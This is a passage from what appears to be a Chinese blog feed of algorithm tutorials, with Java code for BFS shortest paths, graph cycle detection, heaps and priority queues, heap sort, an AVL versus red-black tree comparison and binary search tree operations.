class="keyword">for</span> (<span class="type">int</span> u : adj[v]) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!visited[u]) &#123;</span><br><span class="line">                visited[u] = <span class="literal">true</span>;</span><br><span class="line">                queue.offer(u);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-3-BFS应用"><a href="#4-3-BFS应用" class="headerlink" title="4.3 BFS应用"></a>4.3 BFS应用</h3><ul><li><strong>最短路径</strong>：无权图的最短路径</li><li><strong>层级遍历</strong>：社交网络中的”几度好友”</li></ul><h3 id="4-4-最短路径示例"><a href="#4-4-最短路径示例" class="headerlink" title="4.4 最短路径示例"></a>4.4 最短路径示例</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">shortestPath</span><span class="params">(List&lt;Integer&gt;[] adj, <span class="type">int</span> start, <span class="type">int</span> end)</span> &#123;</span><br><span class="line">    <span class="type">boolean</span>[] visited = <span class="keyword">new</span> <span class="title class_">boolean</span>[adj.length];</span><br><span class="line">    Queue&lt;<span class="type">int</span>[]&gt; queue = <span class="keyword">new</span> <span class="title class_">LinkedList</span>&lt;&gt;();  <span class="comment">// [node, distance]</span></span><br><span class="line">    queue.offer(<span class="keyword">new</span> <span class="title class_">int</span>[]&#123;start, <span class="number">0</span>&#125;);</span><br><span class="line">    visited[start] = <span class="literal">true</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (!queue.isEmpty()) &#123;</span><br><span class="line">        <span class="type">int</span>[] curr = queue.poll();</span><br><span class="line">        <span class="type">int</span> <span class="variable">v</span> <span class="operator">=</span> curr[<span class="number">0</span>], dist = curr[<span class="number">1</span>];</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (v == end) <span class="keyword">return</span> dist;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> u : adj[v]) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!visited[u]) &#123;</span><br><span class="line">                visited[u] = <span class="literal">true</span>;</span><br><span class="line">                queue.offer(<span class="keyword">new</span> <span class="title class_">int</span>[]&#123;u, dist + <span class="number">1</span>&#125;);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;  <span class="comment">// 不可达</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、DFS-vs-BFS"><a href="#五、DFS-vs-BFS" class="headerlink" title="五、DFS vs BFS"></a>五、DFS vs BFS</h2><table><thead><tr><th>特性</th><th>DFS</th><th>BFS</th></tr></thead><tbody><tr><td>数据结构</td><td>栈（递归/显式）</td><td>队列</td></tr><tr><td>空间复杂度</td><td>( O(h) )</td><td>( O(w) )</td></tr><tr><td>最短路径</td><td>不保证</td><td>保证（无权图）</td></tr><tr><td>适用场景</td><td>连通性、回溯、拓扑</td><td>最短路径、层级</td></tr><tr><td>实现</td><td>递归更简洁</td><td>迭代更自然</td></tr></tbody></table><p>( h ) = 树高/图深度，( w ) = 最大宽度</p><h2 id="六、图的环检测"><a href="#六、图的环检测" class="headerlink" title="六、图的环检测"></a>六、图的环检测</h2><h3 id="6-1-无向图-DFS"><a href="#6-1-无向图-DFS" class="headerlink" title="6.1 无向图 - DFS"></a>6.1 无向图 - DFS</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">boolean</span> <span class="title function_">hasCycle</span><span class="params">(<span class="type">int</span> v, <span class="type">int</span> parent, List&lt;Integer&gt;[] adj, <span class="type">boolean</span>[] visited)</span> &#123;</span><br><span class="line">    visited[v] = <span class="literal">true</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> u : adj[v]) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!visited[u]) &#123;</span><br><span class="line">            <span class="keyword">if</span> (hasCycle(u, v, adj, visited)) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (u != parent) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;  <span class="comment">// 遇到已访问且不是父节点</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="6-2-有向图-三色标记法"><a href="#6-2-有向图-三色标记法" class="headerlink" title="6.2 有向图 - 三色标记法"></a>6.2 有向图 - 三色标记法</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 0: 未访问, 1: 访问中, 2: 已访问</span></span><br><span class="line"><span class="type">int</span>[] state;</span><br><span class="line"></span><br><span class="line"><span class="type">boolean</span> <span class="title function_">hasCycleDirected</span><span class="params">(<span class="type">int</span> v, List&lt;Integer&gt;[] adj)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (state[v] == <span class="number">1</span>) <span class="keyword">return</span> <span class="literal">true</span>;   <span class="comment">// 遇到访问中的节点，有环</span></span><br><span class="line">    <span class="keyword">if</span> (state[v] == <span class="number">2</span>) <span class="keyword">return</span> <span class="literal">false</span>;  <span class="comment">// 已访问过，无环</span></span><br><span class="line">    </span><br><span class="line">    state[v] = <span class="number">1</span>;  <span class="comment">// 标记为访问中</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> u : adj[v]) &#123;</span><br><span class="line">        <span class="keyword">if</span> (hasCycleDirected(u, adj)) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    state[v] = <span class="number">2</span>;  <span class="comment">// 标记为已访问</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><p>图是表达复杂关系的数据结构，邻接表是稀疏图的首选表示。DFS适合探索路径和连通性，BFS适合找最短路径。理解这两种遍历方式，是学习图算法的基础。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 图 </tag>
            
            <tag> DFS </tag>
            
            <tag> BFS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>堆与优先队列实现</title>
      <link href="//heap-priority-queue/"/>
      <url>//heap-priority-queue/</url>
      
        <content type="html"><![CDATA[<h2 id="一、堆的定义"><a href="#一、堆的定义" class="headerlink" title="一、堆的定义"></a>一、堆的定义</h2><h3 id="1-1-堆的性质"><a href="#1-1-堆的性质" class="headerlink" title="1.1 堆的性质"></a>1.1 堆的性质</h3><p>堆是<strong>完全二叉树</strong>，满足堆序性质：</p><ul><li><strong>大顶堆</strong>：父节点 ≥ 子节点</li><li><strong>小顶堆</strong>：父节点 ≤ 子节点</li></ul><h3 id="1-2-数组存储"><a href="#1-2-数组存储" class="headerlink" title="1.2 数组存储"></a>1.2 数组存储</h3><p>利用完全二叉树特性，用数组存储：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">索引i的节点：</span><br><span class="line">- 父节点：(i - 1) / 2</span><br><span class="line">- 左子节点：2i + 1</span><br><span class="line">- 右子节点：2i + 2</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">        10</span><br><span class="line">       /  \</span><br><span class="line">      8    7</span><br><span class="line">     / \   / \</span><br><span class="line">    5   6 4   3</span><br><span class="line"></span><br><span class="line">数组: [10, 8, 7, 5, 6, 4, 3]</span><br></pre></td></tr></table></figure><h2 id="二、堆的核心操作"><a href="#二、堆的核心操作" class="headerlink" title="二、堆的核心操作"></a>二、堆的核心操作</h2><h3 id="2-1-上浮-Sift-Up"><a href="#2-1-上浮-Sift-Up" class="headerlink" title="2.1 上浮(Sift Up)"></a>2.1 上浮(Sift Up)</h3><p>新元素插入末尾，与父节点比较，不满足堆序则交换。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">siftUp</span><span class="params">(<span class="type">int</span>[] heap, <span class="type">int</span> i)</span> &#123;</span><br><span class="line">    <span class="keyword">while</span> (i &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">parent</span> <span class="operator">=</span> (i - <span class="number">1</span>) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (heap[parent] &gt;= heap[i]) <span class="keyword">break</span>;  <span class="comment">// 大顶堆</span></span><br><span class="line">        swap(heap, i, parent);</span><br><span class="line">        i = parent;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>时间复杂度：( O(\log n) )</p><h3 id="2-2-下沉-Sift-Down"><a href="#2-2-下沉-Sift-Down" class="headerlink" title="2.2 下沉(Sift Down)"></a>2.2 下沉(Sift Down)</h3><p>堆顶元素移除后，末尾元素放堆顶，与子节点比较交换。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">siftDown</span><span class="params">(<span class="type">int</span>[] heap, <span class="type">int</span> n, <span class="type">int</span> i)</span> &#123;</span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">largest</span> <span class="operator">=</span> i;</span><br><span class="line">        <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">2</span> * i + <span class="number">1</span>;</span><br><span class="line">        <span class="type">int</span> <span class="variable">right</span> <span class="operator">=</span> <span class="number">2</span> * i + <span class="number">2</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (left &lt; n &amp;&amp; heap[left] &gt; heap[largest]) largest = left;</span><br><span class="line">        <span class="keyword">if</span> (right &lt; n &amp;&amp; heap[right] &gt; heap[largest]) largest = right;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (largest == i) <span class="keyword">break</span>;</span><br><span class="line">        swap(heap, i, largest);</span><br><span class="line">        i = largest;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>时间复杂度：( O(\log n) )</p><h3 id="2-3-建堆-Heapify"><a href="#2-3-建堆-Heapify" class="headerlink" title="2.3 建堆(Heapify)"></a>2.3 建堆(Heapify)</h3><p>从最后一个非叶子节点开始下沉：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">buildHeap</span><span class="params">(<span class="type">int</span>[] arr)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> arr.length;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> n / <span class="number">2</span> - <span class="number">1</span>; i &gt;= <span class="number">0</span>; i--) &#123;</span><br><span class="line">        siftDown(arr, n, i);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>时间复杂度：( O(n) )（不是 ( O(n \log n) )）</p><p><strong>证明</strong>：高度为 ( h ) 的节点最多有 ( \lceil n / 2^{h+1} \rceil ) 个，每个下沉 ( O(h) )。<br>[ \sum_{h=0}^{\log n} \frac{n}{2^{h+1}} \cdot h = O(n) ]</p><h2 id="三、堆排序"><a href="#三、堆排序" class="headerlink" title="三、堆排序"></a>三、堆排序</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">heapSort</span><span class="params">(<span class="type">int</span>[] arr)</span> &#123;</span><br><span class="line">    buildHeap(arr);  <span class="comment">// 建大顶堆</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> arr.length - <span class="number">1</span>; i &gt; <span class="number">0</span>; i--) &#123;</span><br><span class="line">        swap(arr, <span class="number">0</span>, i);      <span class="comment">// 堆顶放末尾</span></span><br><span class="line">        siftDown(arr, i, <span class="number">0</span>);  <span class="comment">// 剩余元素重新堆化</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>时间复杂度：( O(n \log n) )<br>空间复杂度：( O(1) )</p><h2 id="四、优先队列"><a href="#四、优先队列" class="headerlink" title="四、优先队列"></a>四、优先队列</h2><h3 id="4-1-接口定义"><a href="#4-1-接口定义" class="headerlink" title="4.1 接口定义"></a>4.1 接口定义</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">interface</span> <span class="title class_">PriorityQueue</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">offer</span><span class="params">(T element)</span>;   <span class="comment">// 入队 O(log n)</span></span><br><span class="line">    T <span class="title function_">poll</span><span class="params">()</span>;                <span class="comment">// 出队（优先级最高）O(log n)</span></span><br><span class="line">    T <span class="title function_">peek</span><span class="params">()</span>;                <span class="comment">// 查看队首 O(1)</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-2-Java-PriorityQueue"><a href="#4-2-Java-PriorityQueue" class="headerlink" title="4.2 Java PriorityQueue"></a>4.2 Java PriorityQueue</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 小顶堆（默认）</span></span><br><span class="line">PriorityQueue&lt;Integer&gt; pq = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 大顶堆</span></span><br><span class="line">PriorityQueue&lt;Integer&gt; pq = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(Collections.reverseOrder());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 自定义比较器</span></span><br><span class="line">PriorityQueue&lt;Task&gt; pq = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(</span><br><span class="line">    Comparator.comparingInt(t -&gt; t.priority)</span><br><span class="line">);</span><br></pre></td></tr></table></figure><h3 id="4-3-底层实现"><a href="#4-3-底层实现" class="headerlink" title="4.3 底层实现"></a>4.3 底层实现</h3><p>Java <code>PriorityQueue</code> 使用<strong>数组实现的二叉堆</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">transient</span> Object[] queue;  <span class="comment">// 堆数组</span></span><br><span class="line"><span class="type">int</span> size;                   <span class="comment">// 元素数量</span></span><br><span class="line">Comparator&lt;? <span class="built_in">super</span> E&gt; comparator;</span><br></pre></td></tr></table></figure><h2 id="五、经典应用场景"><a href="#五、经典应用场景" class="headerlink" title="五、经典应用场景"></a>五、经典应用场景</h2><h3 id="5-1-Top-K问题"><a href="#5-1-Top-K问题" class="headerlink" title="5.1 Top K问题"></a>5.1 Top K问题</h3><p>求数组中第K大元素：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">findKthLargest</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> k)</span> &#123;</span><br><span class="line">    <span class="comment">// 小顶堆，维护K个最大元素</span></span><br><span class="line">    PriorityQueue&lt;Integer&gt; pq = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(k);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> num : nums) &#123;</span><br><span class="line">        pq.offer(num);</span><br><span class="line">        <span class="keyword">if</span> (pq.size() &gt; k) pq.poll();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> pq.peek();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>时间复杂度：( O(n \log k) )</p><h3 id="5-2-合并K个有序数组"><a href="#5-2-合并K个有序数组" class="headerlink" title="5.2 合并K个有序数组"></a>5.2 合并K个有序数组</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span>[] mergeKLists(<span class="type">int</span>[][] lists) &#123;</span><br><span class="line">    PriorityQueue&lt;<span class="type">int</span>[]&gt; pq = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(Comparator.comparingInt(a -&gt; a[<span class="number">0</span>]));</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 每个数组的当前元素入堆</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; lists.length; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (lists[i].length &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            pq.offer(<span class="keyword">new</span> <span class="title class_">int</span>[]&#123;lists[i][<span class="number">0</span>], i, <span class="number">0</span>&#125;);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    List&lt;Integer&gt; res = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">while</span> (!pq.isEmpty()) &#123;</span><br><span class="line">        <span class="type">int</span>[] curr = pq.poll();</span><br><span class="line">        res.add(curr[<span class="number">0</span>]);</span><br><span class="line">        <span class="type">int</span> <span class="variable">arrIdx</span> <span class="operator">=</span> curr[<span class="number">1</span>], elemIdx = curr[<span class="number">2</span>];</span><br><span class="line">        <span class="keyword">if</span> (elemIdx + <span class="number">1</span> &lt; lists[arrIdx].length) &#123;</span><br><span class="line">            pq.offer(<span class="keyword">new</span> <span class="title class_">int</span>[]&#123;lists[arrIdx][elemIdx + <span class="number">1</span>], arrIdx, elemIdx + <span class="number">1</span>&#125;);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res.stream().mapToInt(i -&gt; i).toArray();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="5-3-滑动窗口中位数"><a href="#5-3-滑动窗口中位数" class="headerlink" title="5.3 滑动窗口中位数"></a>5.3 滑动窗口中位数</h3><p>使用两个堆（大顶堆+小顶堆）维护动态数据流的中位数。</p><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><table><thead><tr><th>操作</th><th>时间复杂度</th></tr></thead><tbody><tr><td>插入</td><td>( O(\log n) )</td></tr><tr><td>删除堆顶</td><td>( O(\log n) )</td></tr><tr><td>查看堆顶</td><td>( O(1) )</td></tr><tr><td>建堆</td><td>( O(n) )</td></tr><tr><td>堆排序</td><td>( O(n \log n) )</td></tr></tbody></table><p>堆是用数组实现的完全二叉树，通过上浮和下沉操作维护堆序性质。优先队列是堆的典型应用，在TopK、调度、合并等问题中非常高效。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 堆 </tag>
            
            <tag> 优先队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>AVL树与红黑树对比</title>
      <link href="//avl-vs-red-black-tree/"/>
      <url>//avl-vs-red-black-tree/</url>
      
        <content type="html"><![CDATA[<h2 id="一、AVL树回顾"><a href="#一、AVL树回顾" class="headerlink" title="一、AVL树回顾"></a>一、AVL树回顾</h2><h3 id="1-1-严格平衡"><a href="#1-1-严格平衡" class="headerlink" title="1.1 严格平衡"></a>1.1 严格平衡</h3><p>AVL树要求任何节点的左右子树高度差不超过1。</p><h3 id="1-2-树高上限"><a href="#1-2-树高上限" class="headerlink" title="1.2 树高上限"></a>1.2 树高上限</h3><p>[ h \leq 1.44 \log_2(n+2) - 0.328 ]</p><p>最多比完全二叉树高约44%。</p><h2 id="二、红黑树-Red-Black-Tree"><a href="#二、红黑树-Red-Black-Tree" class="headerlink" title="二、红黑树(Red-Black Tree)"></a>二、红黑树(Red-Black Tree)</h2><h3 id="2-1-定义与性质"><a href="#2-1-定义与性质" class="headerlink" title="2.1 定义与性质"></a>2.1 定义与性质</h3><ol><li>每个节点是<strong>红色</strong>或<strong>黑色</strong></li><li><strong>根节点</strong>是黑色</li><li>所有<strong>叶子</strong>(NIL)是黑色</li><li>红色节点的子节点必须是黑色（<strong>无连续红节点</strong>）</li><li>从任一节点到其叶子的所有路径包含<strong>相同数目的黑色节点</strong></li></ol><h3 id="2-2-树高上限"><a href="#2-2-树高上限" class="headerlink" title="2.2 树高上限"></a>2.2 树高上限</h3><p>[ h \leq 2 \log_2(n+1) ]</p><p>最长路径不超过最短路径的2倍。</p><h2 id="三、核心对比"><a href="#三、核心对比" class="headerlink" title="三、核心对比"></a>三、核心对比</h2><h3 id="3-1-平衡严格性"><a href="#3-1-平衡严格性" class="headerlink" title="3.1 平衡严格性"></a>3.1 平衡严格性</h3><table><thead><tr><th>特性</th><th>AVL树</th><th>红黑树</th></tr></thead><tbody><tr><td>平衡条件</td><td>高度差 ≤ 1</td><td>黑高相同，最长 ≤ 2×最短</td></tr><tr><td>树高</td><td>≤ 1.44 log n</td><td>≤ 2 log n</td></tr><tr><td>查询效率</td><td>更快（树更矮）</td><td>稍慢</td></tr></tbody></table><h3 id="3-2-旋转开销"><a href="#3-2-旋转开销" class="headerlink" title="3.2 旋转开销"></a>3.2 旋转开销</h3><table><thead><tr><th>操作</th><th>AVL树</th><th>红黑树</th></tr></thead><tbody><tr><td>查找</td><td>( O(\log n) )</td><td>( O(\log n) )</td></tr><tr><td>插入</td><td>( O(\log n) )，最多2次旋转</td><td>( O(\log n) )，最多2次旋转</td></tr><tr><td>删除</td><td>( O(\log n) )，最多 ( O(\log n) ) 次旋转</td><td>( O(\log n) )，最多3次旋转</td></tr></tbody></table><p><strong>关键差异</strong>：</p><ul><li>AVL删除可能需要回溯旋转到根</li><li>红黑树旋转次数更稳定</li></ul><h3 id="3-3-实现复杂度"><a href="#3-3-实现复杂度" class="headerlink" title="3.3 实现复杂度"></a>3.3 实现复杂度</h3><ul><li><strong>AVL</strong>：需要维护高度或平衡因子</li><li><strong>红黑树</strong>：需要维护颜色，逻辑更复杂</li></ul><h2 id="四、红黑树的平衡操作"><a href="#四、红黑树的平衡操作" class="headerlink" title="四、红黑树的平衡操作"></a>四、红黑树的平衡操作</h2><h3 id="4-1-插入平衡"><a href="#4-1-插入平衡" class="headerlink" title="4.1 插入平衡"></a>4.1 插入平衡</h3><p>新节点插入为<strong>红色</strong>（不违反黑高条件），然后修复可能的红红冲突。</p><p><strong>情况分类</strong>：</p><ol><li>叔叔是红色 → 变色</li><li>叔叔是黑色，且新节点与父节点同侧 → 旋转</li><li>叔叔是黑色，且新节点与父节点异侧 → 双旋</li></ol><h3 id="4-2-颜色翻转"><a href="#4-2-颜色翻转" class="headerlink" title="4.2 颜色翻转"></a>4.2 颜色翻转</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">  黑(B)              红(R)</span><br><span class="line"> /   \      →       /   \</span><br><span class="line">红(R) 红(R)        黑(B) 黑(B)</span><br></pre></td></tr></table></figure><h3 id="4-3-左旋右旋"><a href="#4-3-左旋右旋" class="headerlink" title="4.3 左旋右旋"></a>4.3 左旋右旋</h3><p>与AVL类似，但旋转后需要调整颜色。</p><h2 id="五、Java中的应用"><a href="#五、Java中的应用" class="headerlink" title="五、Java中的应用"></a>五、Java中的应用</h2><h3 id="5-1-TreeMap-TreeSet"><a href="#5-1-TreeMap-TreeSet" class="headerlink" title="5.1 TreeMap / TreeSet"></a>5.1 TreeMap / TreeSet</h3><p>基于<strong>红黑树</strong>实现。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">TreeMap&lt;Integer, String&gt; map = <span class="keyword">new</span> <span class="title class_">TreeMap</span>&lt;&gt;();</span><br><span class="line"><span class="comment">// 插入、删除、查找都是 O(log n)</span></span><br></pre></td></tr></table></figure><h3 id="5-2-为什么选择红黑树"><a href="#5-2-为什么选择红黑树" class="headerlink" title="5.2 为什么选择红黑树"></a>5.2 为什么选择红黑树</h3><ul><li>Java标准库选择红黑树：插入删除更稳定</li><li>Linux内核的CFS调度器也使用红黑树</li></ul><h2 id="六、选择指南"><a href="#六、选择指南" class="headerlink" title="六、选择指南"></a>六、选择指南</h2><table><thead><tr><th>场景</th><th>推荐</th></tr></thead><tbody><tr><td>查询远多于增删</td><td>AVL树</td></tr><tr><td>增删查频率相近</td><td>红黑树</td></tr><tr><td>频繁删除</td><td>红黑树</td></tr><tr><td>对常数敏感</td><td>AVL树（树更矮）</td></tr><tr><td>实现复杂度敏感</td><td>红黑树（插入删除更稳定）</td></tr></tbody></table><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><p>AVL树和红黑树都是自平衡BST，核心差异在于<strong>平衡的严格程度</strong>：</p><ul><li>AVL更严格 → 查询快，但旋转多</li><li>红黑树更宽松 → 旋转少，查询稍慢</li></ul><p>实际中，由于旋转是常数时间，而查询更多见，两者性能差异不大。<strong>红黑树因插入删除更稳定，被更广泛采用</strong>。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 二叉树 </tag>
            
            <tag> 红黑树 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>二叉搜索树BST与平衡</title>
      <link href="//bst-binary-search-tree/"/>
      <url>//bst-binary-search-tree/</url>
      
        <content type="html"><![CDATA[<h2 id="一、二叉搜索树定义"><a href="#一、二叉搜索树定义" class="headerlink" title="一、二叉搜索树定义"></a>一、二叉搜索树定义</h2><h3 id="1-1-核心性质"><a href="#1-1-核心性质" class="headerlink" title="1.1 核心性质"></a>1.1 核心性质</h3><p>对于任意节点：</p><ul><li><strong>左子树</strong>所有节点值 &lt; 当前节点值</li><li><strong>右子树</strong>所有节点值 &gt; 当前节点值</li><li>左右子树也是二叉搜索树</li></ul><h3 id="1-2-中序遍历特性"><a href="#1-2-中序遍历特性" class="headerlink" title="1.2 中序遍历特性"></a>1.2 中序遍历特性</h3><p>BST的中序遍历结果是<strong>有序序列</strong>。</p><h2 id="二、BST基本操作"><a href="#二、BST基本操作" class="headerlink" title="二、BST基本操作"></a>二、BST基本操作</h2><h3 id="2-1-查找"><a href="#2-1-查找" class="headerlink" title="2.1 查找"></a>2.1 查找</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> TreeNode <span class="title function_">search</span><span class="params">(TreeNode root, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">TreeNode</span> <span class="variable">curr</span> <span class="operator">=</span> root;</span><br><span class="line">    <span class="keyword">while</span> (curr != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (curr.val == target) <span class="keyword">return</span> curr;</span><br><span class="line">        <span class="keyword">if</span> (target &lt; curr.val) curr = curr.left;</span><br><span class="line">        <span class="keyword">else</span> curr = curr.right;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>时间复杂度：( O(h) )，( h ) 为树高</p><h3 id="2-2-插入"><a href="#2-2-插入" class="headerlink" title="2.2 插入"></a>2.2 插入</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> TreeNode <span class="title function_">insert</span><span class="params">(TreeNode root, <span class="type">int</span> val)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (root == <span class="literal">null</span>) <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">TreeNode</span>(val);</span><br><span class="line">    <span class="keyword">if</span> (val &lt; root.val) &#123;</span><br><span class="line">        root.left = insert(root.left, val);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (val &gt; root.val) &#123;</span><br><span class="line">        root.right = insert(root.right, val);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> root;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-删除（最复杂）"><a href="#2-3-删除（最复杂）" class="headerlink" title="2.3 删除（最复杂）"></a>2.3 删除（最复杂）</h3><p>三种情况：</p><ol><li>叶子节点：直接删除</li><li>只有一个子节点：子节点替代</li><li>有两个子节点：找后继（右子树最小值）或前驱（左子树最大值）替代</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> TreeNode <span class="title function_">delete</span><span class="params">(TreeNode root, <span class="type">int</span> key)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (root == <span class="literal">null</span>) <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (key &lt; root.val) &#123;</span><br><span class="line">        root.left = delete(root.left, key);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (key &gt; root.val) &#123;</span><br><span class="line">        root.right = delete(root.right, key);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 找到要删除的节点</span></span><br><span class="line">        <span class="keyword">if</span> (root.left == <span class="literal">null</span>) <span class="keyword">return</span> root.right;</span><br><span class="line">        <span class="keyword">if</span> (root.right == <span class="literal">null</span>) <span class="keyword">return</span> root.left;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 两个子节点：找后继</span></span><br><span class="line">        <span class="type">TreeNode</span> <span class="variable">minNode</span> <span class="operator">=</span> findMin(root.right);</span><br><span class="line">        root.val = minNode.val;</span><br><span class="line">        root.right = delete(root.right, minNode.val);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> root;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">TreeNode <span class="title function_">findMin</span><span class="params">(TreeNode node)</span> &#123;</span><br><span class="line">    